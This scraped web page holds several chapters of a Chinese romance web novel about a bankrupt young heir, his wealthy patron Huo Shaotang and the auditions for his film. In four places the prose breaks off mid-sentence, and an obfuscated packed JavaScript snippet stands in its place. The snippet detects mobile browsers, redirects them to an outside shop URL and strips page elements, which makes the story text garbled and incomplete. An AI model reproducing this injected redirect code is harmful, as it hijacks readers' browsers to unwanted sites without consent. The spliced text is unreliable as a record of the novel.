明昭有些无奈了,他不擅长处理这种感情,觉得林子尧简直油盐不进,但人毕竟当时也照顾过自己的生意,他也没法用对陈越的方法去对林子尧。 林子尧仍旧不依不饶地看着他。 明昭啧了一声:“你没他有钱。” “他是谁,他给你多少钱我也可以给你。”林子尧依然倔强道。 明昭有些烦躁的揉了揉眉心:“钱我已经收了,这是先来后到的问题。” 明昭还是头回知道这人竟然这么有恒心,话已至此,明昭不欲再多言,他站起来准备去找杨修岳,转身要走时林子尧却突然拉住他的手,有些乞求地看着明昭:“为什么我不可以?” 还是真不撞南墙不回头,明昭正准备说些更狠的话让他死心,旁边却有声音突然插入:“人家看不上你,你还不明白吗?林子尧你就这点出息?!” 来人拉过林子尧握着明昭手臂的手,怒气冲冲看着林子尧。 林子尧皱眉想挣开戚信凌的手,没成功:“表哥,你放开我。” 戚信凌呵了一声:“放开你干嘛?让你继续去给明昭当狗?你能不能有点自尊心。” “我没有!”林子尧咬牙。 戚信凌冷冷看着他:“你没有什么?没有自尊心还是没有给他当狗?” 明昭看他们两个唇枪舌剑,准备开溜,还没行动,跟在戚信凌旁边一起过来的人却拦住他的去路:“明大少爷还真是有本事,都破产了勾人的手段还层出不穷。” 霍云舟,霍少棠的侄子。 能力不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“他稀不稀罕是他的事,总之你不要动他,否则我会告诉小姨的。”说完,林子尧脚步匆匆离开。 戚信凌被林子尧气得浑身发抖,霍云舟已经捂着肚子站起来:“叫人,我今天就让明昭生不如死。” 戚信凌正要应下,却又有一道声音响起:“哦?让谁生不如死。” 听到这道声音的瞬间,霍云舟悚然一动,不可置信地回头看向从后边树丛中出现的霍少棠:“四叔,您怎么会在这里?” 霍少棠可从来没有参加过娱乐圈的宴会,虽然每次都会给他发邀请函,但他从来都是派秘书过来走个过场,方才的晚会上来的就是他的秘书之一刘闵阳。 霍少棠没回答他的话,仍旧面无表情看着他,语气却冰冷:“你爸平时是怎么教你的?” 霍云舟哑然。 霍少棠作为霍家的掌权人,霍家上下没有人不怕他。 霍家世代显赫,有着很重的规矩和宗族观念,然而他这位四叔情感淡薄,和霍家谁都不亲近,对兄弟姐妹都吝惜笑容,更别提他们这些血缘更淡的小辈。除了偶尔的商业宴会,霍云舟一年当中几乎只有每年的除夕夜才能见到霍少棠一次。 霍少棠朝霍云舟抬抬手,霍云舟赶紧上前两步在他面前站定,温顺地等着霍少棠的吩咐。 “仗势欺人,就是你从你爸身上学到的?”然后不等霍云舟解释,霍少棠抬手扇了他一巴掌。 “啪!” 深刻的掌印浮现在霍云舟脸上。 霍少棠按了按手指,又抬起手打在他另一边脸上,冷冷发话:“回去禁足两个月。” 霍云舟捂着脸不敢反驳,低着头道:“是。” 随后,霍少棠又走到戚信凌跟前:“你是?” “戚信凌。”戚信凌恭敬道。 霍少棠淡淡看了他一眼:“行为检点些,你爸最近可是焦头烂额,你碰上什么事,没人救得了你。” 15. 第 15 章 杨修岳视线转了一圈,终于在落地窗边看到了明昭,明昭身前正站着一个经纪人,经纪人笑容满面,明昭却有些心不在焉。 果然,又是在问明昭是否有有意想当演员的,杨修岳走到两人跟前,接过经纪人的话头,替明昭打发走人,抬眼一看,发现明昭面色薄红,眼尾染着一抹殷色。 杨修岳顿了顿,轻声问道:“喝醉了?” 明照嗯了一声,他掀起眼皮看了杨修岳一眼:“现在回去?” “我去跟主编打个招呼。”杨修岳扶着他在一旁的桌子上坐下,“你在这儿待一会儿,我立刻就来。” 等杨修岳离开,明昭又百无聊赖地给空酒杯倒酒。 他喝得有些晕晕乎乎,目光没有焦点地落在窗外。 不知道发生了什么,宴会一众人等一圈又一圈地往某个方向聚集,气氛又更热闹了,明昭视线仍落在窗外。 过了一会儿,杨修岳总算回来,他将明昭从位置上拉起来:“走了走了。” 明昭半靠在他身上,脚步轻浮地跟着他往地下车库走。 杨修岳一边扶着他一边道:“你看到霍总了吗?他不知道怎么来了,以前我还没见他来参加过这种宴会。” 反应了一会儿,快要走到车库,明昭才听明白杨修岳的话,怪不得方才宴会又重新活起来了了,原来是做给霍少棠看,讨这位爷开心。 好半晌,明昭突然又意识到,既然霍少棠来了,他应该和霍少棠一起回去更方便。 杨修岳扶着明昭半躺进车里,明昭摸出口袋里的手机准备给霍少棠打个电话,然而酒精上头,他迷迷瞪瞪翻了好几圈微信都没找到哪个是霍少棠。 明昭眉头不由皱起,有些烦躁地将手机递给杨修岳:“帮我……” 杨修岳接过他的手机,扫了一眼手机屏幕:“什么?” 明昭说话断断续续:“给霍……” 他话还没有说完,突如其来的语音铃声打断了明昭还没说出口的话。 明昭脑袋陷在真皮的车座里,声音含糊:“接。” 微信电话,没有任何备注,杨修岳扫了一眼便接通电话:“你好,你是?” 电话那头两三秒都没有回音,杨修岳又喂了一声,一道沉稳磁性的声音传过来:“霍少棠,明昭呢?” 杨修岳将手机微微离开自己的耳侧,又看了一遍微信通话界面,这位祖宗可真行,连霍少棠的微信都不备注。 “他喝醉了,不好意思啊霍总,刚才没去和您打招呼,我们下次请您吃饭,您可一定要来。”杨修岳清了清嗓子,赔笑道。 霍少棠没搭理他的赔罪,单刀直入道:“明昭呢?” 杨修岳不知道这位爷什么意思,但还是恭恭敬敬有问必答道:“我们正准备回去,现在还在车库。” 霍少棠淡淡嗯了一声:“等着。” 然后没等杨修岳再说什么,便已经挂断了电话。 搞什么? 杨修岳看着挂断的电话,一头雾水。 他撑着车顶,看着似乎已经睡过去的明昭,有些头疼:“大少爷,你和霍总到底怎么回事儿?” 然而没有人回答他。 没过一会儿,方才在宴会上被人团团围着的霍少棠已经站在他们的车前。 杨修岳赶紧上前同他握了握手,霍少棠客气地同他一握即离:“明昭呢?” 杨修岳侧身打开车门,露出躺在后座的明昭:“喝得有点多了。” 霍少棠垂眸,视线上下扫过仍旧一无所觉的明昭。 许久没有剪过的头发散在明昭脸上,露出他小半边下巴,剪裁良好的西装将他利落的身形显现得一览无余,他一条腿曲着,微微往上提的裤脚显出一截黑色的袜子,腕骨突出。 杨修岳正准备开头询问霍少棠的来意。 然而面前的男人已经越过他,倾身将明朝从后座抱起。 突然被人抱起来,明昭有些不太适应地皱了皱眉,口齿不清地嘟囔了什么。 霍少棠放在明昭后背的手轻轻拍了拍他:“安分点。” 随后目光看向杨修岳:“你辛苦了,明昭不用你送了。” 杨修岳看着在他怀里安静不动的明昭,顿了顿道:“会不会太麻烦您了,我送他回去就可以。” “不用。”霍少棠道,然后不等杨修岳再和他客气,便迈步朝着旁边一辆法拉利走去。 杨修岳微微皱起眉,看着霍少棠将明昭抱到另一辆车里。 霍少棠让明昭脑袋枕在自己腿上,朝坐在驾驶座上的司机道:“回家。” 司机点头:“好的,先生。” 和平时醒着的时候截然不同,明昭喝醉的时候不声不响,极其安静,那双总是冷漠的眼睛因为眼皮盖着,浓艳的脸上带着罕见、不可思议的柔和。 霍少棠目光一寸寸扫过他的脸。 确实是一张令人一看便心生喜爱的脸。 霍少棠手指抚上明昭的脸,指腹拨弄明昭的眼睫。 被霍少棠的动作弄得不适,明昭皱了皱眉,霍少棠动作停下,轻轻拍了拍他的脑袋:“睡吧,不动你了。” 可能真的醉狠了,将近一个小时的车程,明昭安安静静睡了一路。 霍少棠抱着他上楼来到卧室,明昭仍然没有被惊醒。 明昭一连好几天都没有回云锦华庭,卧室每天有佣人打扫,霍少棠单手抬起被子,将明昭放进床上。 霍少棠给明昭脱了鞋子,正准备抬步离开,明昭却突然从被子里撑起身子:“我想吐。” 霍少棠转身和他对视了一眼,明昭皱着脸很难受的样子。 “等等。”霍少棠将旁边的垃圾箱放到床边。 霍少棠弯腰扶住明昭,将他带到床沿,冷静道:“吐。” 吐完之后,总算好受了些,明昭半躺在床边,头发悬空垂着,艳丽的脸完整的露出。 霍少棠指挥佣人收拾好垃圾,转过头正好看到明昭此时的样子,不知道是不是方才吐得厉害了,浓长的眼睫上挂着几颗晶莹的泪珠。 霍少棠转身的动作顿住,眼睛眯起打量明昭几秒,然后他无奈叹了一口气。 张牙舞爪的小猫怎么喝醉了是这个可怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻言,明昭转过脑袋瞪了他一眼,然而仍在醉中的这一眼实在没有什么杀伤力,冷漠一扫而尽,仅剩下迷糊的醉意,更像是撒娇。 霍少棠轻笑了一声,总算没有再折腾他。 别墅里没有卸妆工具,过了一会儿佣人方才将新购的卸妆工具拿到楼上,佣人看了一眼躺在床上的明昭,询问霍少棠:“先生,需要我帮少爷卸妆吗?” 霍少棠示意她将工具放下:“不用,你下去吧。” 佣人点头,离开时将门轻轻带上。 佣人十分贴心地将卸妆说明也放在一边,霍少棠看完说明书,挽起衬衫,用卸妆棉挤了一点卸妆油。 明昭只上了一层薄薄的粉底,深刻的五官没抹任何阴影也十分立体。 化妆棉擦过明昭的脸,明昭皱了皱眉:“疼,轻点。” 霍少棠啧了一声,放轻了两分力道,明昭总算放松下来没有再提出任何异议。 化妆棉抚上他的眼皮,眼珠在薄薄的眼皮下动了动,霍少棠的手指隔着化妆棉感受到这轻微的跳动。 明昭身上富有生命力,清醒时浑身上下都是冷漠,深刻的五官都仿佛带着能割伤人的艳丽,不带一丝柔和。 而此时此刻,霍少棠感受着指腹下的跳动,往日的冷漠纷纷褪下,牙尖嘴利的小猫似乎蹭了蹭他。 霍少棠拿开化妆棉,指腹隔着薄薄的眼皮,感受到明昭眼珠的跳动,脆弱而无害。 霍少棠定定看了明昭几秒,薄唇轻启:“小猫。” 16. 第 16 章 次日,明昭是被早上九点的闹钟吵醒的,从床上起来,明昭发现自己上身换了一件睡衣,然而下身还穿着昨晚的西裤。 在餐厅用完早饭,明昭回到三楼书房拿等会儿上课的书,走出书房正好碰到从二楼上来的霍少棠。 霍少棠穿着一身休闲装,发丝还带着点水汽,似乎刚在楼下健身上来。 明昭挑了挑眉,居高临下看着霍少棠:“你什么时候回来了?” 一个星期前霍少棠去国外出差,明昭看新闻还能偶尔看到这个人,不是出席哪个峰会,就是在哪个体育馆看球,好不潇洒。 霍少棠拾阶而上,走到明昭跟前,视线扫过他:“昨天。不然你以为你怎么一觉起来睡在家里,这就忘了。” 明昭还真的不记得,他喝醉了就会断片。他还以为是杨修岳把他送回来的,还在寻思杨修岳怎么会把他送到这儿了,照理说不把他送回公司也应该送到酒店。 他慢吞吞哦了一声:“你也去参加晚会了?我怎么没看到你。” 然后他突然想到什么,慢悠悠道:“不过我倒是见到了你侄子。” “是么,哪个侄子?”霍少棠问道。 “霍云舟。”明昭道。 霍少棠挑眉:“然后呢?” “他太烦了,我揍了他一顿。”明昭轻描淡写。 霍少棠突然笑了笑:“告诉我是怕他告你的状?还是想让我帮你出气。” “想要出气的人可不是我,”就霍云舟那个手无缚鸡之力的弱鸡,明昭还不至于受他的气,明昭不屑轻哼一声:“他还敢跟你告状?” 霍家作为顶级的权贵之家,他们的家事向来是圈里最关注的事。 明昭才小学的时候就听说过霍少棠的威名,当然是出自霍家小辈之口,和他差不多年纪的霍家公子哥们对霍少棠不近人情的手段怨天载道。 明昭上了中学之后,霍少棠接替了霍家家主之位,他更是听说这位新任的掌权人情感淡薄,每年只愿意在新年的时候见一见亲戚们,然而即便这样那些公子哥们对这位霍家掌权人的恐惧仍旧只增不减。 当然,他们更多时候是狐假虎威,借霍少棠的大旗扯虎皮。 不过明昭有自己好友圈子,而霍家人大多眼高于顶,明昭和他们尿不到一个壶里,明家没有霍家显赫,明昭更不可能去热脸贴他们了屁股。 明昭可不觉得霍云舟有这个胆子,把两个人之间的矛盾闹到霍少棠跟前。 霍少棠轻笑:“他不敢,但是你敢,受委屈了?来跟我告状?” 说着,霍少棠揉了揉他的脑袋,目光直视着明昭的眼睛,醉意消失眼眸中的柔和也消失得一干二净。 明昭也跟着笑了笑,但他笑意始终浅淡,眼底似乎总含着一层倨傲,令他想起来似乎更像是挑衅:“怎么,跟你告状你要怎么收拾他,给他两个巴掌?” 霍少棠挑眉:“可能,或许还会关他两个月禁闭。” 霍少棠身上萦绕着刚洗完澡的水汽,他靠得太近,明昭很清楚的闻到这种水意,他不知怎的有些不自在地蹙了蹙眉。 闻言只道:“怎么,怒发冲冠啊,叔叔下手这么狠?” 当然,他是不会信的。霍少棠毕竟还是霍云舟的亲叔叔,这种家族的人最擅长的一项本领就是帮亲不帮理。 “我不也是你叔叔?”霍少棠不紧不慢道。 明昭啧了一声,这是在说当时他骗钟盛时谎称他是自己叔叔的事:“我这个野生的侄子,哪里比得上你亲侄子。” “这是真的受委屈了。”霍少棠手指扶上他脖颈捏了捏,语调轻柔笑着说, 明昭勾起一边唇角道:“我可没受委屈,心疼心疼你亲侄子吧,被我打得不轻。” 然后他提了提肩上半背着的书包,朝霍少棠招招手:“上课去了。” 上完课,明昭又一溜烟跑到公司工作。 整整一个月,公司的人员总算招聘齐全,于此同时袁均也取景完毕回到燕城,执行导演岑宝月不仅组织好了摄制组,海选演员的工作还收到了几千份视频试镜。 想当演员的人还真多,就他们这么不出名的一个剧组都能收到几千份试镜视频。 当然,人员确实是参差不齐了点。 明昭邮箱收到袁均发过来的上百个G的试镜视频不由得陷入沉默,这得看到猴年马月。 当时明昭就告诉过袁均,届时电影的主要演员,他们公司会签下来,袁均选演员不仅把试镜视频发给明昭,也发给了杨修岳。 在收到视频的下一刻,杨修岳就表示让明昭自己定。 明昭觉得他就是不想干这个活。 明昭抓了抓头发,看着这么多的视频有些烦。 他一个月没剪过头发,头发已经垂到肩上,平时他会用皮筋把头发绑起来,现在刚洗过头,任由过长的头发随意散着。 以前他剪头发都是由特定的理发师上门,现在明家破产了,他也请不起以前要价昂贵的理发师,都是随机挑最近的理发店,要求只有一个,剪短。 当初头发长长的时候,他是准备去剪的。他那时候正在办公室和袁均、岑宝月开视频会议,谈电影选好演员之后剧本围读和开机宴的事情,结束会议时明昭顺嘴提了一句要去剪头发,岑宝月立即开口:“剪什么头发?留长发啊明总,你进娱乐圈得有点个人特色。” 明昭准备点退出的手顿住:“哦?娱乐圈还有这种要求。” 岑宝月笑了笑:“没有啊,不过有特点才更容易让人记住你,虽然说你不做演员,但是老板留一头长发,你又有这么好的建模,肯定会有网友好奇,你的热度起来了不是正好宣传一下演员?而且你都开影视公司,又不是什么其他的传统的实业公司,有一头长发多酷啊,和其他总裁都不一样。你现在这张脸太冷了,留长发让人知道你并不是一板一眼的人,以后公司的演员也能多亲近亲近你。” 明昭是怠于做什么柔和之状来博取演员亲近,他做不来任何讨好的事。 但是岑宝月说得也有点道理,长发长在男人身上确实足够与众不同,他不喜欢千篇一律,不想要成为世人眼中的精英模样的成功人士。 总之,在岑宝月一番话成功让明昭留住了头发。 袁均当初推荐岑宝月,说她很擅长社交,果然不错。 岑宝月不仅成功让明昭留了长发,还成功劝服明昭去打了耳洞,打了第一个耳洞,明昭就后悔了。 他从小打过的架数不胜数,并不是怕疼的人,但是打耳洞是真疼,岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍少棠是影视圈里最喜欢的那一类投资人,只投钱从不指手画脚。 闻言,霍少棠也只道:“有空的话。” 明昭将面试安排表发给他,眼皮抬也不抬道:“去看看可以,但人选我来定,你不能干涉。” 霍少棠笑了:“投进去这么多钱,我有什么权利?” “等电影上映分红。”明昭道。 霍少棠突然抬手揉了揉他的脑袋,眼神含笑,像是在看一只心爱的宠物:“真可爱。” 明昭不明所以地看着他。 霍少棠收回手,只道:“我有空会过去。” 明昭不过19岁,一个未出社会的大学生,即便经历过破产这么大的变故,可仍旧还是一个没有20岁的青年人,声音清凌凌,似乎没有人应该将他这句大话放在心上。 更别提他有前科,一个不学无术的纨绔说出这种话没有任何的信服力。 电影又清一色的新人,霍少棠没有和明昭一起共事过,不知道他的工作能力,对于电影的事情也只是从明昭的只言片语中知晓。 明昭总是自傲的,霍少棠不知道他这句话是玩笑话还是确实对自己很有自信。 然而有自信的青年人总是富有生机的,即便结果没有那么好,但毕竟这只是一只小猫,没有人会强求小猫做出一番惊天伟业,没有人会强求小猫事业有成。 霍少棠亦然。 小猫愿意折腾就随他罢了,他自认是一个很好的饲主,小猫就算在外面撞得头破血流,依然还有他会愿意安慰这只小猫。 而且放大话的小猫也不是不可爱。 17.第 17 章 明昭不知道霍少棠的想法,但他还没有线下面试过演员,新的工作内容总是让人亢奋的。 这一个多月以来,他每天不是跟杨修岳谈工作,就是跟岑宝月、袁均谈电影,一开始再怎么有热情,久了都会有些无聊。 次日闹钟还没响,明昭就已经从床上醒过来,才七点钟。明昭洗漱完毕来到楼下餐厅,发现霍少棠已经坐在餐桌上。 平时有早八的时候明昭才会这么早起床,霍少棠还记得试镜九点钟开始。 不过看到明昭脸上与往日不同的神采,霍少棠了然。 他们订的酒店离霍氏集团办公楼不远,明昭搭了霍少棠的便车过去。 霍氏双休,霍少棠是不用周末上班的,但霍少棠前周在海外谈的一个项目,周五员工们发了几个策划方案过来,他还没来得及看,需要加班处理,周一才好开会谈一谈这个事儿 一点微末的兴奋感很快被睡意压下去,明昭上车没一会儿眼皮就开始打架。霍少棠从笔记本的屏幕上看到明昭垂落的眼皮,视线转到他的身上:“困了会一会儿,到了我叫你。” 明昭嗯了一声,闭起眼睛脑袋靠在车窗上。 车开得很稳,但明昭睡着了还是控制不住脑袋时不时磕在车窗上,发出几声闷响。 霍少棠伸手抓住他的脑袋,明昭皱了皱眉,眼皮掀起,锐利的目光撇向霍少棠:“嗯?” 霍少棠将他的脑袋压到自己的腿上:“躺着。” 明昭哦了一声,调整了一个舒服的姿势,十分理所当然地枕在霍少棠的腿上。 这一个多月以来,明昭清瘦不少,身形轻薄薄一片,枕在霍少棠腿上的身体几乎没什么重量,后背的肩胛骨卡在霍少棠的大腿,霍少棠看着他闭着的眼睛,仿若落在他枝头的一只漂亮鸟雀。 霍少棠视线从明昭的脸上转到面前的笔记本上,看了一会儿策划方案,又关掉电脑,视线落回明昭的身上。 昨晚的醉意过去,明昭脸上只剩下苍白的颜色,青色的血管透过薄薄的皮肤扎进霍少棠的眼中。 盯着一个人的脸看,还是一张睡着的脸,是一件浪费时间的事情,霍少棠觉得自己可能最近太累了,以至于他浪费了一路的时间。 车停在酒店的停车场,霍少棠抬手看了一眼手上的腕表,过了十分钟,他才拍了拍明昭的脸:“到了。” 明昭从他腿上起来,还是有些困,眉间环绕着刚睡醒的郁气,他有些不耐烦抓了抓被睡得有些散乱的头发,捋下发绳,重新扎了一个低马尾。 两侧有些低的发丝散在脸侧,霍少棠替他将一侧的头发夹在耳边,拍了拍他的肩膀:“好了,上去吧。” 明昭点点头,拉开车门往电梯口走。 试镜的房间门口外站着许多等待的演员,明昭走到房间内时袁均、岑宝月、杨修岳和他们签的两个经纪人已经坐在桌子前。 最中间的位置空着,明昭拉开椅子坐下。 众人寒暄几句,便示意工作人员让演员进来开始试镜。 来的演员有还未毕业的表演院校的大学生,也有演了几年戏仍旧不温不火的老演员,大多数演技仍旧青涩,明昭本来也没有指望能够挖到演技炉火纯青的天赋派,只要适配这部电影,加之有观众缘就够了。 他想要的是能够站在聚光灯下受万人追捧的大明星,而不是什么表演艺术家。 看了几个小时的演员试镜,袁均在演员名单上划了几个名字,侧身询问明昭的意见,明昭扫过他递过来的名单:“配角可能可以,主演不行,长得不够好看。” 旁边听到他话的岑宝月笑了笑:“这是因为没化妆。” 明昭耸了耸肩:“长得还没有我好看,观众能喜欢?” “现在圈里的大明星们长得比你好看的也没几个,”岑宝月支着脑袋看他,“要不您自己上?” 明昭无语的看了她一眼,没搭理她的话:“下一个。” 一个上午过去看中的演员也没有几个,男女主角更是没有定下来。 众人在酒店附近的餐厅简单吃了顿饭,下午又继续开始试镜。 经历过几个小时的试镜,再新奇的感觉都彻底荡然无存,明昭时不时喝一口咖啡,一边百无聊赖地看着不同的演员进来又出去。 下午五点钟,放在桌上的手机屏幕亮了一下,明昭点开霍少棠发过来的微信消息:【我十分钟后到。】 明昭回了一个行字,然后让工作人员在自己旁边加了一张椅子。 十分钟分秒不差,霍少棠推开门走进来,众人纷纷笑着站起来欢迎他。 周末,霍少棠穿了一套休闲装,其他人大多在杂志或新闻上见过霍少棠,就算是杨修岳,线下见过霍少棠时他也总是一身严丝合缝的定制西服,和现在休闲的风格截然不同。 然而这位执掌了霍氏七年的掌权人,即便没有修身的西装,上位者的气质仍旧扑面而来,他同众人笑了笑,直鼻薄唇,英俊的脸上连笑意都十分浅淡。 袁均看了仍懒洋洋坐在椅子上的明昭一眼,和明昭相处了一个多月,袁均已经发现这位大少爷虽然长了一张目中无人的脸,但如果不说一些惹大少爷生气的话,大少爷是十分随和的,但他对大多数事情都不在意,只要不触及到大少爷的雷点大少爷很少有翻脸的时候。 此时,袁均放在身后的时候碰了碰明昭的肩,示意他赶紧一起站起来接驾。 明昭面无表情地撇了他一眼。 得,大少爷这是少爷病又犯了。 袁均并没有接触霍少棠,只在心中祈祷这位爷可千万别生气,同时脑子飞快转动,思考待会儿霍少棠真的生气,他要怎么个明昭解围。 然而这位爷似乎对明昭这种无所谓的态度并不在意,也没有任何要不高兴的意思。他拉开明昭旁边的椅子上坐下:“怎么样?” 明昭语调懒散:“不怎么样。” 霍少棠笑了笑:“或许请一些大明星会更简单些。” 明昭并没有跟霍少棠说过自己公司的发展规划,此时听到这话,言简意赅道:“不。” 跟着一起坐下来的袁均听到两个人对话,霍少棠竟然还是没有生气,反而笑了笑便没有再开口,他不知道这位位高权重的大人物居然脾气这么好。 岑宝月看了霍少棠一眼,见他已经端坐,清了清嗓子让工作人员叫下一个演员。 下一个是个男演员,长相不错、演技中规中矩,然而眼神过于空洞,明昭在心里pass,袁均也没有说话,岑宝月似乎有点兴趣,问了他几个问题,另外两个经纪人也似乎觉得这个人的面孔不错,眼中总算有了点满意之色。 明昭突然凑到霍少棠耳边:“你当时是怎么想要包养我的?” 他声音压得极低,可能是怕霍少棠听不到,凑得很近,颊边散落的发丝轻轻荡过霍少棠的鼻尖。 霍少棠抬眼,视线望进他的目光中,突然笑了一下:“你长得漂亮。” 明昭还真的一点不意外这个回答,又问道:“你说我当演员会大火吗?” 霍少棠:“会。” “那你觉得现在这个演员会大火吗?”明昭确实认为现在这个男演员长得可以,和现在大火的男明星比起来也毫不逊色,然而眼神没有任何故事感,然而眼神可以练,但他拿不准这个人究竟能不能练出来。 霍少棠摇摇头:“他讨好感太重。” “那是因为他认识你吧。”明昭说。 霍少棠轻笑:“你当时还不是认识我?” 明昭啧了一声:“你是在说我不够尊重你?” 他拍了拍霍少棠的肩:“霍总,我国没有君主制。” 霍少棠耸了耸肩:“你对他也不满意,何必问我,再看看就是了。” 随后又道:“不要着急,也不用给自己这么大的压力。” 话是这么说,但一天已经快要过去,没选出一个令明昭满意的演员,明昭没法不着急,甚至产生了一些挫败,甚至当时信誓旦旦的说不会请大明星的决心也有些动摇。 霍少棠手掌放在背后轻拍:“明昭,你是所有人的主心骨,既然决定了就永远不要怀疑自己,在你做决定之前要做好调研听取意见,但做了决定就不要再犹豫。” 明昭看着他,眉心轻蹙:“如果发现当初的决定可能不正确呢?难道不应该及时止损?” 明昭当了几十年金尊玉贵的大少爷,最不缺少的就是自信,然而未知是人最大的恐惧。当时没有人认同他要请全部新人的决定,他再怎么有信心,也只是基于自己的信心,可是电影有太多的不确定因素。 他确实是个赌徒,现在电影似乎只剩下0和1这两个选择,他无法不犹疑。 霍少棠笑了笑:“你现在才刚起步,就已经能断定结果了吗?” 明昭灌了一大口咖啡,没再说话。 试镜的一直持续到了九点,明昭已经喝空了三杯咖啡,袁均看了明昭一眼,发现明昭仍旧目光懒散,身上既没有焦躁也没有兴奋,他确实佩服明昭,这人总是有天塌下来也无所谓的气质。 试镜结束,岑宝月提议到附近的餐厅再一起用顿饭,她笑着看向霍少棠:“十分感谢霍总拨冗前来,久闻霍总大名,希望霍总能够赏个脸。” 今天一整天十分优秀的演员没有几个,要是都是他们几个人也就算了,她真怕霍少棠看完这次试镜,回去就把投资撤了。 霍少棠看向明昭,明昭点点头:“走吧。” 岑宝月顿了一下,没明白明昭怎么没听出自己话里的意思,就这么替霍少棠下决定了,但幸好霍少棠没有反对,她顿时放心。 如果这位爷真的打算撤资,没有必要再跟他们去吃饭。 众人站起来准备离开,门突然又被推开,一个女生小跑进来,慌忙地道歉:“不好意思,导演,来的高速上发生了连环追尾,我不是故意迟到的,可以给我一个面试的机会吗?” 女生说完,诚恳地看向站在最中心地明昭。 明昭看了她一眼:“行。” 明昭发话,众人便又坐下来。 等到女生出去,一个经纪人王若熹道:“这个还行。” 袁均:“一般。” “就她了,”明昭道,“女主角。” 众人纷纷转头看向明昭,目光不一而足。 岑宝月率先开口:“她长得不够漂亮,演技平常,不算很出众。” 今天来的女演员比这个漂亮的不是没有,明昭不是觉得她们还不够好看,就是觉得人演技不够好。这位大少爷眼界出奇的高,挑挑拣拣没有一个合他心意的。 现在这个女演员不知道哪点对上明昭标准,一开口就是让她当女主角。 王若熹虽然觉得这个女演员不错,长得清纯漂亮,但也没有到能够担任女主角的程度。 袁均没有说话,只是仍旧看着明昭。 杨修岳同样沉默的不发一言。 明昭翻着女生的资料,一边问袁均道:“袁均,你为什么觉得她一般?” “她长相不够艳丽。”袁均道。 电影的男女主角是一对兄妹,两个人都是心狠手辣的角色,设定里女主应当是明艳大气的长相。 “她长得很有观众缘,不是吗?”明昭看向两个经纪人。 经纪人点头,这确实是,现在观众很吃一款柔美样貌的女演员,过于艳丽的长相如明昭,更多时候会给人不好接近的感觉。 袁均只道:“她并不符合我剧本中描写的女演员。” 明昭歪了歪脑袋,笑了,轻飘飘道:“那就把剧本改了。” 霎时,房间内瞬时安静,空气都似乎停下来,所有人呼吸一紧,除了霍少棠所有人都震惊地看向明昭。 来了!这不就是典型的投资人干涉电影选角么?! 众人这一段时间和明昭一起工作,发现他并没有想象中的难相处。但是这人确实是典型的君主做派,大多数时候他愿意听取专业人士的建议,但只要他下了决定,任谁再劝都无济于事。 袁均顿了顿,他同样清楚明昭不是一个能够被轻易改变人,但他仍旧想要试一试,沉默几秒他开口道:“你当时是看上剧本才决定让我来导,现在改了就和剧本不一样了。” “剧情没改、性格没改就可以,女主角长相是明艳的还是清纯有什么关系,”明昭道,“况且你是原创剧本,没有原著粉丝,没有人会因为这个事情而不看电影。” 这确实是,袁均并不是什么坚持艺术的人,他当然希望剧本的所有都随自己的心意,但他也知道这并不可能。这种一意孤行定演员的权利只有一线的大导演才有,而他只是一个不入流的小导演。 他深吸了一口气,试图再争取道:“后面还有演员,先不要通知她,或许之后还有更好的。” 他松了口,明昭也没必要咄咄逼人,况且这点要求答应袁均也无关紧要。 但是所有人都知道,这个决定几乎是板上钉钉的。 明昭放下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195691|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的资料,手撑在袁均肩上,眼神直视着他道:“小姑娘还是表演本科,未必不能演出你要的感觉。我答应你,如果届时围读阶段她还是不能够让你满意,就换掉她。” 袁均有些不服气是真的,但也没有真的生气,他清楚明昭的压力。明昭历经明家破产,煊赫明家大少爷已经成为过往云烟,现在给他这么多的预算拍电影,估计已经是大少爷所剩不多的积蓄。 如果当时明昭没有选择他,他还在干一份收入菲薄的兼职,比现在要更落魄得多。哪还有可能在拍电影。 有霍少棠在,岑宝月订了一家离酒店三公里的五星级餐厅。 明昭跟着霍少棠的车一起过去,一坐上车,霍少棠方才想开口说话,明昭制止他的动作,给岑宝月拨了个电话。 岑宝月一边开车一边接通他的来电:“有什么指示啊明总?” 明昭头靠在椅背上:“宝月姐,你帮我找几个形体和表演老师,费用不是问题,要最好的老师。” 岑宝月笑了:“你也太有自信了,或许后面还有更好的。” 明昭也跟着她笑了笑:“不可能,后面的演员的资料我都看了。” “今天那个女演员的资料你不是也看过?照片和真人看起来的感觉还是不一样的。”岑宝月道。 明昭不置可否,只道:“你先找,后面的事后面再说。” 话已至此,岑宝月也不能再多说什么。 挂断电话,明昭的心情总算好了不少,他转头看向霍少棠:“你刚才想说什么?” “我想我或许能真能够拿到分红。”霍少棠道。 明昭挑了挑眉:“你也觉得刚才的女演员好?” 明昭真的是一个不会掩饰情绪的人,他只要一高兴就像只在抖弄漂亮羽毛的鸟雀,眼角眉梢似乎都如添上明丽颜色的黑白画,焕发出不可思议的光彩。 “我没关注过明星,看不出好坏。”霍少棠道。 明昭手指无意识地敲打车窗:“那你为什么这么说?” “你很有领导能力,”霍少棠道,一整天下来,他能够看出所有人对于明昭的信任,对于一个刚才成年的青年人来说是一件并不简单的事,“如果你真的不幸公司半路腰斩了,欢迎你到霍氏。” 这算是一个好消息吗? 明昭扬起一个假笑,语气懒懒:“谢谢你的信任,但希望没有这种事。” 